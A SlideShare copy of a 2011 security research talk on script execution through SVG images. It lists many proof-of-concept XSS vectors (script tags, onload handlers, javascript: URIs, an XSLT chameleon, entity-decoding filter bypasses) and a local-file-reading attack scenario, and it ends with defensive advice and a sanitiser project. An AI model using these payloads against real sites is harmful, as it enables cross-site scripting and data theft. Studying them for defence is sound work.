Order allow,deny Deny from all Order allow,deny Allow from all Order allow,deny Allow from all RewriteEngine On RewriteBase / DirectoryIndex index.php RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order allow,deny Deny from all Order allow,deny Allow from all Order allow,deny Allow from all RewriteEngine On RewriteBase / DirectoryIndex index.php RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] The Image that called me - Active Content Injection with SVG Files | PDF
SlideShare a Scribd company logo
The Image that called me
Active Content Injection with SVG Files

A presentation by Mario Heiderich, 2011
Introduction
●   Mario Heiderich
    ●   Researcher and PhD student at the Ruhr-
        University, Bochum
    ●   Security Researcher for Microsoft, Redmond
    ●   Security Consultant for XING AG, Hamburg
    ●   Published author and international speaker
    ●   HTML5 Security Cheatsheet / H5SC
    ●   PHPIDS Project
Today
●   SVGs and the modern web
    ●   What are SVGs?
    ●   What are they capable of?
    ●   Which browsers “understand” SVG?
    ●   Why there are conflicted areas?

●   And what does that have to do with
    security?
SVG Images
●   Scalable Vector Graphics
●   XML based, therefore
    ●   Versatile
    ●   Accessible
    ●   Compressible
    ●   “Stylable” w. CSS
    ●   Open
●   Great for mobile devices
●   Easy to parse and process
●   Ancient format, older than 10 years
●   Relations to HTML5, the living standard
SVG History
●   Proposed by several W3C members in 1998
●   Derived from Adobe Postscript and VML
●   Developed in 1999
●   Currently at version 1.1
    ●   Version 1.2 still a working draft
    ●   Might be overtaken by SVG 2.0
●   Good browser support
    ●   Gecko, Webkit, Presto, and Trident
Basic Example


<svg xmlns=“http://www.w3.org/2000/svg“>
  <circle r=“40“ fill=“red“></circle>
</svg>
SVG Family
●   SVG Tiny 1.2
    ●   Designed for cellphones and smart-phones
    ●   47 Tags
●   SVG Basic 1.1
    ●   Designed for handhelds, tablets and net-books
    ●   71 tags
●   SVG Full 1.1
    ●   Full feature set
    ●   81 tags
Features
●   Geometrical shapes
    ●   Circles, ellipses, squares, lines and more
    ●   SVG fonts
●   Font specific formatting and glyph styles
●   Links
●   Animations and Transformations
●   Gradients and Effects
●   Meta-data
●   Scripting and Events
●   Inclusion of arbitrary objects
SVG in Action
Scripting
●   The following SVG executes JavaScript

<svg xmlns=“http://www.w3.org/2000/svg“>
  <script>
    alert(1)
  </script>
</svg>



●   More examples?
More Scripting
<svg xmlns="http://www.w3.org/2000/svg">
   <g onload="javascript:alert(1)"></g>
</svg>

<svg xmlns="http://www.w3.org/2000/svg">
   <animation xlink:href="javascript:alert(1)"/>
</svg>

<svg xmlns="http://www.w3.org/2000/svg">
   <foreignObject xlink:href="javascript:alert(1)"/>
</svg>

<svg xmlns="http://www.w3.org/2000/svg"> 
   <set attributeName="onmouseover" to="alert(1)"/> 
</svg>

<svg xmlns="http://www.w3.org/2000/svg"> 
   <handler 
       xmlns:ev="http://www.w3.org/2001/xml­events" 
       ev:event="load"
   >alert(1)</handler>
</svg>
Deploying SVGs
●   Several ways of deploying SVGs,
    implemented by modern browsers
●   Five important ones are:
    ●   Opening the file directly
    ●   Deployment via <object> or <embed>
    ●   Deployment via <img> or <image>
    ●   Deployment via CSS background/list-
        style/content/cursor
    ●   In-line SVG
Security Boundaries
●   SVG capabilities based on deployment
    method
●   A model, based on expectations
●   Heterogeneous implementations


●   And a whole new world of bugs and
    vulnerabilities
XSS
●   SVGs deployed via <img> and <image> tag should
    not execute JavaScript
●   Same goes for SVGs used via CSS
●   Or SVG fonts


●   SVGs deployed via <iframe>, <embed> or <object>
    should, though
●   So browsers need different approaches


●   Learning by fixing?
Local SVGs
●   SVGs opened directly are allowed to script
●   Imagine the following attack:
    ●   Attacker uploads an image with an exciting motive to a server
    ●   Victim navigates to the image, likes it, saves it locally, downloads
        folder or desktop
    ●   Victim wants to watch the image again and double-clicks it
    ●   Image is an SVG and executes JavaScript locally
    ●   Attacker can read local files (same directory, sub-folders)
    ●   Attacker can even load and start Java applets or worse
●   Very likely too be used in real life attacks!
●   Porn sites, Email attachments, Malware
In-line SVG
●   Suggested by the HTML5 specs
●   Working on all modern browsers
    ●   Opera 11 recently joined in
●   No strict XML parser anymore
    ●   <svg><circle r=40 fill=red></svg>
    ●   See – no quotes, no trailing slash
●   Reduced feature set
●   <svg> introduces many new XSS vectors
●   XSS filter bypasses
Scoping
●   SVG images are treated by browsers similarly to XML
●   Same is for in-line SVG blocks
●   XML treats plain-text tags differently
    ●   Entities and canonical character representations are treated equally
    ●   0-Day filter bypasses ahead
●   This enables a new attack technique on Firefox and other browsers


●   DEMO


●   And it's even worse
●   In-line SVG “self-terminates” open HTML elements
Opera
●   A long history of SVG flaws
    ●   JavaScript execution via SVG fonts
    ●   XSS via CSS background images
    ●   SVG containing XHTML renders HTML via <img>


●   Today SVGs deployed via CSS/<img> cannot script
    anymore
●   But - not all kinds of attacks need scripting to succeed


●   DEMO
Firefox
●   SVG/HTML Chameleon
    <?xml version="1.0"?>
    <?xml-stylesheet type="text/xml" href="#stylesheet"?>
    <!DOCTYPE doc [
    <!ATTLIST xsl:stylesheet
       id  ID #REQUIRED>
    ]>
    <svg xmlns="http://www.w3.org/2000/svg">
        <xsl:stylesheet id="stylesheet" version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
           <xsl:template match="/">
               <iframe
                  xmlns="http://www.w3.org/1999/xhtml"
               src="javascript:alert(1)">
               </iframe>
           </xsl:template>
        </xsl:stylesheet>
        <circle fill="red" r="40"></circle>
    </svg>
Opera
●   Using entities to execute JavaScript
●   innerHTML copy/decompile bug
    <a href="#">CLICKME 1</a>

    <svg style=display:none><style>

    &ast;{
    -
    o&#45fabbalink&colon;&apos;javascript&colon;alert&lpar;1
    &rpar;&apos;&semi; -o&#45fabbalink-source&colon;current
    <span/>


    <a href="#">CLICKME 2</a>
More Opera
●   SVG via favicon
Chromium
●   Incredible parser tolerance
●   1<svg <g onload=alert(1) </p>
Firefox
●   Enabling XSS via entity decoding
●   Entities in <style> tags create new
    elements
●   Even broken ones, half-broken to be
    honest
●   Bug #650001

    <svg>
    <style>&ltimg/src=x onerror=alert(1)//
Other Browsers
●   Firefox 4 crashed badly on SVGs embedding JS
●   Chrome produces weird things when using
    <foreignObject> and <iframe>
●   Opera deploys Java applets via SVG fonts
●   And what about other XML related attack patterns?
    ●   External entities
    ●   SVG Tiny 1.2 Java Events
    ●   Entity bombs
    ●   Etc. etc.
●   Some browsers support SVG Masks, perfect for click-
    jacking
●   SVG and XBL? You tell me!
Wrap-Up
●   SVGs are not just images but mini-applications
●   <img> tags can now deploy Java, PDF and Flash – and call you
    on Skype
●   In-line SVG creates small XML islands enabling XML attacks on
    HTML websites
●   SVG and XSLT work too, enabling DoS and other attacks
●   Web-security and XML security, they meet again!
●   And XXE is back – remember 2002's advisories?


●   SVG is not getting enough attention in the security
    community
●   SVG provides a lot of room for more security research
Defense
●   More difficult than one might assume
    ●   No existing filter libs
    ●   No good documentation
    ●   XSS vectors are hard to comprehend
    ●   New vectors coming up weekly


●   SVG files should not be perceived as images
●   Allowing SVG for upload == allowing HTML for upload
●   SVG can embed, link or reference any kind of content
    over cross domain borders
●   SVG provides new ways of payload obfuscation
Future Work
●   SVG Purifier
    ●   Based on HTMLPurifier 4.3.0
    ●   Still very young
    ●   Smoke-test has been published http://heideri.ch/svgpurifier
●   More articles on the HTML5 Sec Cheatsheet Wiki
●   Publications, to raise awareness
    ●   Crouching Tiger – Hidden Payload, submission CCS 2011
●   More demo vectors on the H5SC to demonstrate impact


●   OWASP research and documentation?
Links
●   Wikipedia on SVG http://en.wikipedia.org/wiki/Scalable_Vector_Graphics
●   W3C SVG Working Group http://www.w3.org/Graphics/SVG/
●   SVG Full 1.1 (W3C) http://www.w3.org/TR/SVG11/
    ●   SVG Basic 1.1 and SVG Tiny 1.2 http://www.w3.org/TR/SVGMobile/
    ●   SVG 2.0 http://dev.w3.org/SVG/profiles/2.0/publish/intro.html
●   Adobe's SVG Zone (for archaeologists) http://www.adobe.com/svg/
●   H5SC http://html5sec.org/
●   XSLT and SVG http://scarybeastsecurity.blogspot.com/20...riousity.html
●   Opera SVG Bug http://heideri.ch/opera/
●   HTMLPurifier http://htmlpurifier.org/
●   JSBin http://jsbin.com/
●   SVGPurifier Smoke-Test http://heideri.ch/svgpurifier
●   More SVG fun http://maliciousmarkup.blogspot.com/20...re-xml-fun.html
Thanks
●   Thanks for listening!
●   Questions or Comments?
●   Discussion and tool preview?




●   Thanks to
    ●   Gareth Heyes and Manuel Caballero from UNH
    ●   Alexey Silin / LeverOne
    ●   Erik of Opera
    ●   Dave Ross of Microsoft

More Related Content

PDF
Scriptless Attacks - Stealing the Pie without touching the Sill
PDF
An Abusive Relationship with AngularJS
PDF
Locking the Throneroom 2.0
PDF
BugBounty Roadmap with Mohammed Adam
PDF
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
PDF
Nodejs presentation
PPTX
Introduction to Web Development
PPTX
Scriptless Attacks - Stealing the Pie without touching the Sill
An Abusive Relationship with AngularJS
Locking the Throneroom 2.0
BugBounty Roadmap with Mohammed Adam
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
Nodejs presentation
Introduction to Web Development

What's hot (20)

PDF
Front end architecture
PDF
Git interview questions | Edureka
PDF
Html / CSS Presentation
PDF
Introduction to kotlin
PPTX
An Intro into webpack
PPTX
Full stack development
PDF
JavaScript - Chapter 13 - Browser Object Model(BOM)
PPTX
Introduction to JavaScript Basics.
PPTX
Responsive web designing ppt(1)
PPTX
JSON: The Basics
PDF
Responsive web design
PPT
JavaScript - An Introduction
PPT
Introduction to Javascript
PPTX
Presentation about html5 css3
PDF
Front-End Frameworks: a quick overview
PPTX
Hackazon realistic e-commerce Hack platform
PDF
Quarkus - a next-generation Kubernetes Native Java framework
PPTX
Hibernate
PDF
Basics of JavaScript
PDF
Infrastructure as Code with Terraform and Ansible
Front end architecture
Git interview questions | Edureka
Html / CSS Presentation
Introduction to kotlin
An Intro into webpack
Full stack development
JavaScript - Chapter 13 - Browser Object Model(BOM)
Introduction to JavaScript Basics.
Responsive web designing ppt(1)
JSON: The Basics
Responsive web design
JavaScript - An Introduction
Introduction to Javascript
Presentation about html5 css3
Front-End Frameworks: a quick overview
Hackazon realistic e-commerce Hack platform
Quarkus - a next-generation Kubernetes Native Java framework
Hibernate
Basics of JavaScript
Infrastructure as Code with Terraform and Ansible
Ad

Viewers also liked (20)

PDF
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
PDF
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
PDF
The innerHTML Apocalypse
PDF
Never fear, the customizer is here!
PDF
Debugging WordPress Core and Plugins!
PDF
Create a newsletter in less than 17 minutes without writing a single word
PDF
ng-owasp: OWASP Top 10 for AngularJS Applications
PDF
In the DOM, no one will hear you scream
ZIP
Vector Graphics on the Web: SVG, Canvas, CSS3
PDF
Build HTML5 App (Intel Elements 2011)
PDF
Generic Attack Detection - ph-Neutral 0x7d8
PPTX
Image Handling: Understanding the Basics of WordPress Media
PDF
Cern talk. David Galbraith: Beyond WWW
PDF
Storytelling using Javascript HTML5 CSS3
PDF
HTML5 어디까지 왔나?
PDF
The WordPress Industry Survey 2016
PDF
Realm: Building a mobile database
PDF
Danger Of Free
PPTX
Stuff I've said to FOIA officers to get them to give me ... well, stuff
PPT
Владимирское Общественное Собрание: первый год работы
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
The innerHTML Apocalypse
Never fear, the customizer is here!
Debugging WordPress Core and Plugins!
Create a newsletter in less than 17 minutes without writing a single word
ng-owasp: OWASP Top 10 for AngularJS Applications
In the DOM, no one will hear you scream
Vector Graphics on the Web: SVG, Canvas, CSS3
Build HTML5 App (Intel Elements 2011)
Generic Attack Detection - ph-Neutral 0x7d8
Image Handling: Understanding the Basics of WordPress Media
Cern talk. David Galbraith: Beyond WWW
Storytelling using Javascript HTML5 CSS3
HTML5 어디까지 왔나?
The WordPress Industry Survey 2016
Realm: Building a mobile database
Danger Of Free
Stuff I've said to FOIA officers to get them to give me ... well, stuff
Владимирское Общественное Собрание: первый год работы
Ad

Similar to The Image that called me - Active Content Injection with SVG Files (20)

PPT
HTML5: An Introduction To Next Generation Web Development
PDF
JavaONE 2012 Using Java with HTML5 and CSS3
PPTX
Html5 more than just html5 v final
PPTX
HTML5DevConf 2013 (October): WebGL is a game changer!
KEY
Thats Not Flash?
PPTX
Academy PRO: HTML5 API graphics
PDF
Rich Media Advertising with SVG and JavaScript
PPTX
SVG Icons and Screen Reader Accessibility
PPTX
Html 5 svg
KEY
WHAT IS HTML5? (at CSS Nite Osaka)
PDF
Next generation Graphics: SVG
PDF
Learn svg
PPTX
Accessibility Hacks version 2
PPTX
Accessibility Hacks Version 2
PPTX
Accessibility Hacks Wordcamp Manchester October 2018
PDF
Streaming of SVG animations on the Web
PDF
Canvas Based Presentation tool - First Review
PDF
Echo HTML5
PPTX
Java script Session No 1
PPTX
Html5 Canvas and Mobile Graphics
HTML5: An Introduction To Next Generation Web Development
JavaONE 2012 Using Java with HTML5 and CSS3
Html5 more than just html5 v final
HTML5DevConf 2013 (October): WebGL is a game changer!
Thats Not Flash?
Academy PRO: HTML5 API graphics
Rich Media Advertising with SVG and JavaScript
SVG Icons and Screen Reader Accessibility
Html 5 svg
WHAT IS HTML5? (at CSS Nite Osaka)
Next generation Graphics: SVG
Learn svg
Accessibility Hacks version 2
Accessibility Hacks Version 2
Accessibility Hacks Wordcamp Manchester October 2018
Streaming of SVG animations on the Web
Canvas Based Presentation tool - First Review
Echo HTML5
Java script Session No 1
Html5 Canvas and Mobile Graphics

More from Mario Heiderich (9)

PDF
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
PDF
Dev and Blind - Attacking the weakest Link in IT Security
PDF
HTML5 - The Good, the Bad, the Ugly
PDF
I thought you were my friend - Malicious Markup
PDF
The Future of Web Attacks - CONFidence 2010
PDF
Web Wuermer
PDF
JavaScript From Hell - CONFidence 2.0 2009
PDF
The Ultimate IDS Smackdown
PDF
I thought you were my friend!
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Dev and Blind - Attacking the weakest Link in IT Security
HTML5 - The Good, the Bad, the Ugly
I thought you were my friend - Malicious Markup
The Future of Web Attacks - CONFidence 2010
Web Wuermer
JavaScript From Hell - CONFidence 2.0 2009
The Ultimate IDS Smackdown
I thought you were my friend!

Recently uploaded (20)

PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PDF
Approach and Philosophy of On baking technology
PDF
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
PDF
KodekX | Application Modernization Development
PPTX
Cloud computing and distributed systems.
PDF
Advanced methodologies resolving dimensionality complications for autism neur...
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
PDF
Per capita expenditure prediction using model stacking based on satellite ima...
PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
PPTX
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
PDF
NewMind AI Monthly Chronicles - July 2025
PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
PDF
NewMind AI Weekly Chronicles - August'25 Week I
PDF
Machine learning based COVID-19 study performance prediction
PPTX
breach-and-attack-simulation-cybersecurity-india-chennai-defenderrabbit-2025....
PDF
Optimiser vos workloads AI/ML sur Amazon EC2 et AWS Graviton
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PDF
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
PDF
cuic standard and advanced reporting.pdf
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
Approach and Philosophy of On baking technology
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
KodekX | Application Modernization Development
Cloud computing and distributed systems.
Advanced methodologies resolving dimensionality complications for autism neur...
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
Per capita expenditure prediction using model stacking based on satellite ima...
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
NewMind AI Monthly Chronicles - July 2025
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
NewMind AI Weekly Chronicles - August'25 Week I
Machine learning based COVID-19 study performance prediction
breach-and-attack-simulation-cybersecurity-india-chennai-defenderrabbit-2025....
Optimiser vos workloads AI/ML sur Amazon EC2 et AWS Graviton
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
cuic standard and advanced reporting.pdf

The Image that called me - Active Content Injection with SVG Files

  • 1. The Image that called me Active Content Injection with SVG Files A presentation by Mario Heiderich, 2011
  • 2. Introduction ● Mario Heiderich ● Researcher and PhD student at the Ruhr- University, Bochum ● Security Researcher for Microsoft, Redmond ● Security Consultant for XING AG, Hamburg ● Published author and international speaker ● HTML5 Security Cheatsheet / H5SC ● PHPIDS Project
  • 3. Today ● SVGs and the modern web ● What are SVGs? ● What are they capable of? ● Which browsers “understand” SVG? ● Why there are conflicted areas? ● And what does that have to do with security?
  • 4. SVG Images ● Scalable Vector Graphics ● XML based, therefore ● Versatile ● Accessible ● Compressible ● “Stylable” w. CSS ● Open ● Great for mobile devices ● Easy to parse and process ● Ancient format, older than 10 years ● Relations to HTML5, the living standard
  • 5. SVG History ● Proposed by several W3C members in 1998 ● Derived from Adobe Postscript and VML ● Developed in 1999 ● Currently at version 1.1 ● Version 1.2 still a working draft ● Might be overtaken by SVG 2.0 ● Good browser support ● Gecko, Webkit, Presto, and Trident
  • 6. Basic Example <svg xmlns=“http://www.w3.org/2000/svg“> <circle r=“40“ fill=“red“></circle> </svg>
  • 7. SVG Family ● SVG Tiny 1.2 ● Designed for cellphones and smart-phones ● 47 Tags ● SVG Basic 1.1 ● Designed for handhelds, tablets and net-books ● 71 tags ● SVG Full 1.1 ● Full feature set ● 81 tags
  • 8. Features ● Geometrical shapes ● Circles, ellipses, squares, lines and more ● SVG fonts ● Font specific formatting and glyph styles ● Links ● Animations and Transformations ● Gradients and Effects ● Meta-data ● Scripting and Events ● Inclusion of arbitrary objects
  • 10. Scripting ● The following SVG executes JavaScript <svg xmlns=“http://www.w3.org/2000/svg“> <script> alert(1) </script> </svg> ● More examples?
  • 11. More Scripting <svg xmlns="http://www.w3.org/2000/svg"> <g onload="javascript:alert(1)"></g> </svg> <svg xmlns="http://www.w3.org/2000/svg"> <animation xlink:href="javascript:alert(1)"/> </svg> <svg xmlns="http://www.w3.org/2000/svg"> <foreignObject xlink:href="javascript:alert(1)"/> </svg> <svg xmlns="http://www.w3.org/2000/svg">  <set attributeName="onmouseover" to="alert(1)"/>  </svg> <svg xmlns="http://www.w3.org/2000/svg">  <handler  xmlns:ev="http://www.w3.org/2001/xml­events"  ev:event="load" >alert(1)</handler> </svg>
  • 12. Deploying SVGs ● Several ways of deploying SVGs, implemented by modern browsers ● Five important ones are: ● Opening the file directly ● Deployment via <object> or <embed> ● Deployment via <img> or <image> ● Deployment via CSS background/list- style/content/cursor ● In-line SVG
  • 13. Security Boundaries ● SVG capabilities based on deployment method ● A model, based on expectations ● Heterogeneous implementations ● And a whole new world of bugs and vulnerabilities
  • 14. XSS ● SVGs deployed via <img> and <image> tag should not execute JavaScript ● Same goes for SVGs used via CSS ● Or SVG fonts ● SVGs deployed via <iframe>, <embed> or <object> should, though ● So browsers need different approaches ● Learning by fixing?
  • 15. Local SVGs ● SVGs opened directly are allowed to script ● Imagine the following attack: ● Attacker uploads an image with an exciting motive to a server ● Victim navigates to the image, likes it, saves it locally, downloads folder or desktop ● Victim wants to watch the image again and double-clicks it ● Image is an SVG and executes JavaScript locally ● Attacker can read local files (same directory, sub-folders) ● Attacker can even load and start Java applets or worse ● Very likely too be used in real life attacks! ● Porn sites, Email attachments, Malware
  • 16. In-line SVG ● Suggested by the HTML5 specs ● Working on all modern browsers ● Opera 11 recently joined in ● No strict XML parser anymore ● <svg><circle r=40 fill=red></svg> ● See – no quotes, no trailing slash ● Reduced feature set ● <svg> introduces many new XSS vectors ● XSS filter bypasses
  • 17. Scoping ● SVG images are treated by browsers similarly to XML ● Same is for in-line SVG blocks ● XML treats plain-text tags differently ● Entities and canonical character representations are treated equally ● 0-Day filter bypasses ahead ● This enables a new attack technique on Firefox and other browsers ● DEMO ● And it's even worse ● In-line SVG “self-terminates” open HTML elements
  • 18. Opera ● A long history of SVG flaws ● JavaScript execution via SVG fonts ● XSS via CSS background images ● SVG containing XHTML renders HTML via <img> ● Today SVGs deployed via CSS/<img> cannot script anymore ● But - not all kinds of attacks need scripting to succeed ● DEMO
  • 19. Firefox ● SVG/HTML Chameleon <?xml version="1.0"?> <?xml-stylesheet type="text/xml" href="#stylesheet"?> <!DOCTYPE doc [ <!ATTLIST xsl:stylesheet id ID #REQUIRED> ]> <svg xmlns="http://www.w3.org/2000/svg"> <xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(1)"> </iframe> </xsl:template> </xsl:stylesheet> <circle fill="red" r="40"></circle> </svg>
  • 20. Opera ● Using entities to execute JavaScript ● innerHTML copy/decompile bug <a href="#">CLICKME 1</a> <svg style=display:none><style> &ast;{ - o&#45fabbalink&colon;&apos;javascript&colon;alert&lpar;1 &rpar;&apos;&semi; -o&#45fabbalink-source&colon;current <span/> <a href="#">CLICKME 2</a>
  • 21. More Opera ● SVG via favicon
  • 22. Chromium ● Incredible parser tolerance ● 1<svg <g onload=alert(1) </p>
  • 23. Firefox ● Enabling XSS via entity decoding ● Entities in <style> tags create new elements ● Even broken ones, half-broken to be honest ● Bug #650001 <svg> <style>&ltimg/src=x onerror=alert(1)//
  • 24. Other Browsers ● Firefox 4 crashed badly on SVGs embedding JS ● Chrome produces weird things when using <foreignObject> and <iframe> ● Opera deploys Java applets via SVG fonts ● And what about other XML related attack patterns? ● External entities ● SVG Tiny 1.2 Java Events ● Entity bombs ● Etc. etc. ● Some browsers support SVG Masks, perfect for click- jacking ● SVG and XBL? You tell me!
  • 25. Wrap-Up ● SVGs are not just images but mini-applications ● <img> tags can now deploy Java, PDF and Flash – and call you on Skype ● In-line SVG creates small XML islands enabling XML attacks on HTML websites ● SVG and XSLT work too, enabling DoS and other attacks ● Web-security and XML security, they meet again! ● And XXE is back – remember 2002's advisories? ● SVG is not getting enough attention in the security community ● SVG provides a lot of room for more security research
  • 26. Defense ● More difficult than one might assume ● No existing filter libs ● No good documentation ● XSS vectors are hard to comprehend ● New vectors coming up weekly ● SVG files should not be perceived as images ● Allowing SVG for upload == allowing HTML for upload ● SVG can embed, link or reference any kind of content over cross domain borders ● SVG provides new ways of payload obfuscation
  • 27. Future Work ● SVG Purifier ● Based on HTMLPurifier 4.3.0 ● Still very young ● Smoke-test has been published http://heideri.ch/svgpurifier ● More articles on the HTML5 Sec Cheatsheet Wiki ● Publications, to raise awareness ● Crouching Tiger – Hidden Payload, submission CCS 2011 ● More demo vectors on the H5SC to demonstrate impact ● OWASP research and documentation?
  • 28. Links ● Wikipedia on SVG http://en.wikipedia.org/wiki/Scalable_Vector_Graphics ● W3C SVG Working Group http://www.w3.org/Graphics/SVG/ ● SVG Full 1.1 (W3C) http://www.w3.org/TR/SVG11/ ● SVG Basic 1.1 and SVG Tiny 1.2 http://www.w3.org/TR/SVGMobile/ ● SVG 2.0 http://dev.w3.org/SVG/profiles/2.0/publish/intro.html ● Adobe's SVG Zone (for archaeologists) http://www.adobe.com/svg/ ● H5SC http://html5sec.org/ ● XSLT and SVG http://scarybeastsecurity.blogspot.com/20...riousity.html ● Opera SVG Bug http://heideri.ch/opera/ ● HTMLPurifier http://htmlpurifier.org/ ● JSBin http://jsbin.com/ ● SVGPurifier Smoke-Test http://heideri.ch/svgpurifier ● More SVG fun http://maliciousmarkup.blogspot.com/20...re-xml-fun.html
  • 29. Thanks ● Thanks for listening! ● Questions or Comments? ● Discussion and tool preview? ● Thanks to ● Gareth Heyes and Manuel Caballero from UNH ● Alexey Silin / LeverOne ● Erik of Opera ● Dave Ross of Microsoft